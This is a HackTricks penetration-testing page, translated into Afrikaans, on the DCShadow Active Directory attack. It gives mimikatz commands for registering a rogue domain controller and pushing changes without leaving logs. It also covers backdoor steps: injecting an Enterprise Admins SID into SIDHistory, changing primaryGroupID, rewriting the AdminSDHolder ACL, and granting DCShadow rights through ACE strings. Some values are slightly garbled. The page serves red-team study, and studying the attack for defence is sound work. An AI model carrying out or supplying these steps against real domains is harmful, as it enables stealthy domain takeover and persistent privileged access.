hacktricks/windows-hardening/active-directory-methodology/dcshadow.md

6.6 KiB

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

DCShadow

Dit registreer 'n nuwe Domeinbeheerder in die AD en gebruik dit om atribute (SIDHistory, SPNs...) op gespesifiseerde voorwerpe te druk sonder om enige logs oor die wysigings agter te laat. Jy het DA regte nodig en moet binne die worteldomein wees.
Let daarop dat as jy verkeerde data gebruik, sal daar baie lelike logs verskyn.

Om die aanval uit te voer, het jy 2 mimikatz instansies nodig. Een van hulle sal die RPC bedieners met SYSTEM regte begin (jy moet hier die veranderinge aandui wat jy wil maak), en die ander instansie sal gebruik word om die waardes te druk:

{% code title="mimikatz1 (RPC servers)" %}

!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"

{% endcode %}

{% code title="mimikatz2 (push) - Vereis DA of soortgelyk" %}

lsadump::dcshadow /push

{% endcode %}

Let op dat elevate::token nie in mimikatz1 sessie sal werk nie, aangesien dit die voorregte van die draad verhoog het, maar ons moet die voorreg van die proses verhoog.
Jy kan ook 'n "LDAP" objek kies: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Jy kan die veranderinge vanaf 'n DA of vanaf 'n gebruiker met hierdie minimale toestemmings druk:

  • In die domein objek:
  • DS-Install-Replica (Voeg/Verwyder Replica in Domein)
  • DS-Replication-Manage-Topology (Bestuur Replika Topologie)
  • DS-Replication-Synchronize (Replika Sinchronisasie)
  • Die Sites objek (en sy kinders) in die Konfigurasie houer:
  • CreateChild en DeleteChild
  • Die objek van die rekenaar wat geregistreer is as 'n DC:
  • WriteProperty (Nie Skryf nie)
  • Die teiken objek:
  • WriteProperty (Nie Skryf nie)

Jy kan Set-DCShadowPermissions gebruik om hierdie voorregte aan 'n onvoorregte gebruiker te gee (let op dat dit 'n paar logs sal agterlaat). Dit is baie meer beperkend as om DA voorregte te hê.
Byvoorbeeld: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Dit beteken dat die gebruikersnaam student1 wanneer hy aan die masjien mcorp-student1 ingelog is, DCShadow toestemmings oor die objek root1user het.

Gebruik DCShadow om agterdeure te skep

{% code title="Stel Enterprise Admins in SIDHistory na 'n gebruiker" %}

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519

{% endcode %}

{% code title="Verander PrimaryGroupID (sit gebruiker as lid van Domein Administrators)" %}

lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519

{% endcode %}

{% code title="Wysig ntSecurityDescriptor van AdminSDHolder (gee Volle Beheer aan 'n gebruiker)" %}

#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

{% endcode %}

Shadowception - Gee DCShadow toestemmings met behulp van DCShadow (geen gewysigde toestemmingslogs)

Ons moet die volgende ACE's met ons gebruiker se SID aan die einde byvoeg:

  • Op die domein objek:
  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)
  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)
  • Op die aanvaller rekenaar objek: (A;;WP;;;UserSID)
  • Op die teiken gebruiker objek: (A;;WP;;;UserSID)
  • Op die Sites objek in Konfigurasie houer: (A;CI;CCDC;;;UserSID)

Om die huidige ACE van 'n objek te kry: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

Let daarop dat jy in hierdie geval verskeie veranderinge moet maak, nie net een nie. So, in die mimikatz1 sessie (RPC bediener) gebruik die parameter /stack met elke verandering wat jy wil maak. Op hierdie manier, sal jy net een keer /push hoef te doen om al die gestopte veranderinge in die rogue bediener uit te voer.

Meer inligting oor DCShadow in ired.team.

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}